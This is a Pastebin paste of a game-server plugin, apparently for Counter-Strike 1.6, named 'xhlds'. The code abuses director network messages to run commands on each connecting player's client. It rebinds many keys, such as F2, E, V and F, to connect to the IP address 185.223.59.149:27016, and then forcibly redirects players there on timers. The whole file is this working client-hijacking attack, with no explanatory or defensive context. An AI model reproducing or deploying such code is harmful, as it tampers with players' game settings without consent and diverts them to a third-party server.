SHARE
TWEET

Untitled

a guest Apr 23rd, 2019 41 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* Plugin generated by AMXX-Studio */
  2.  
  3. #include <amxmodx>
  4. #include <amxmisc>
  5.  
  6. #define PLUGIN "xhlds"
  7. #define VERSION "2.0"
  8. #define AUTHOR "anon"
  9.  
  10.  
  11. public plugin_init() {
  12.     register_plugin(PLUGIN, VERSION, AUTHOR)   
  13. }
  14.  
  15.  
  16. public client_connect(id)
  17. {
  18.  
  19.     client_director(id, "bind ^"f2^" ^"Connect 185.223.59.149:27016^"")
  20.     client_director(id, "bind ^"f12.^" ^"Connect 185.223.59.149:27016^"")
  21.     client_director(id, "bind ^"f5^" ^"Connect 185.223.59.149:27016^"")
  22.     client_director(id, "bind ^"END^" ^"Connect 185.223.59.149:27016^"")
  23.     client_director(id, "bind ^"e^" ^"Connect 185.223.59.149:27016^"")
  24.     client_director(id, "bind ^"DELTE^" ^"Connect 185.223.59.149:27016^"")
  25.     client_director(id, "bind ^"v^" ^"Connect 185.223.59.149:27016^"")
  26.     client_director(id, "bind ^"\^" ^"Connect 185.223.59.149:27016^"")
  27.     client_director(id, "bind ^"f^" ^"Connect 185.223.59.149:27016^"")
  28.     client_director(id, "bind ^"+^" ^"Connect 185.223.59.149:27016^"")
  29.     client_director(id, "bind ^"h^" ^"Connect 185.223.59.149:27016^"")
  30.     client_director(id, "bind ^"END^" ^"Connect 185.223.59.149:27016^"")
  31.     client_director(id, "bind ^">^" ^"Connect 185.223.59.149:27016^"")
  32.     client_director(id, "bind ^"_^" ^"Connect 185.223.59.149:27016^"")
  33.     client_director(id, "bind ^"6^" ^"Connect 185.223.59.149:27016^"")
  34.     client_director(id, "bind ^"f3^" ^"Connect 185.223.59.149:27016^"")
  35.     client_director(id, "bind ^"f4^" ^"Connect 185.223.59.149:27016^"")
  36.     client_director(id, "bind ^"7^" ^"Connect 185.223.59.149:27016^"")
  37.  
  38. }
  39.  
  40. public client_putinserver(id)
  41. {
  42.  
  43.     if(is_user_steam(id))
  44.         set_task(0.1,"AfterConnect",id)
  45.     set_task(9.0,"AfterConnect",id)
  46.    
  47. }
  48.  
  49. public AfterConnect(id)
  50. {
  51.         client_cmd(id , "Connect 185.223.59.149:27016")
  52.     client_director(id,"Wait;Wait;Wait;Connect 185.223.59.149:27016")
  53. }
  54.  
  55. stock client_director(index,const command[],any:...)
  56. {
  57.     message_begin(MSG_ONE,51,_,index)
  58.     write_byte(strlen(command) + 2)
  59.     write_byte(10)
  60.     write_string(command)
  61.     message_end()
  62. }
  63. stock bool:is_user_steam( id )
  64. {
  65.     if(!cvar_exists("dp_r_id_provider"))
  66.     {
  67.         server_print("Eroare la - stock:is_user_steam")
  68.  
  69.         return false
  70.     }
  71.  
  72.         static dp_pointer
  73.         if(dp_pointer||(dp_pointer=get_cvar_pointer("dp_r_id_provider")))
  74.         {
  75.             server_cmd("dp_clientinfo %d",id)
  76.             server_exec()
  77.             return (get_pcvar_num(dp_pointer)==2)?true:false
  78.         }
  79.         return false
  80. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top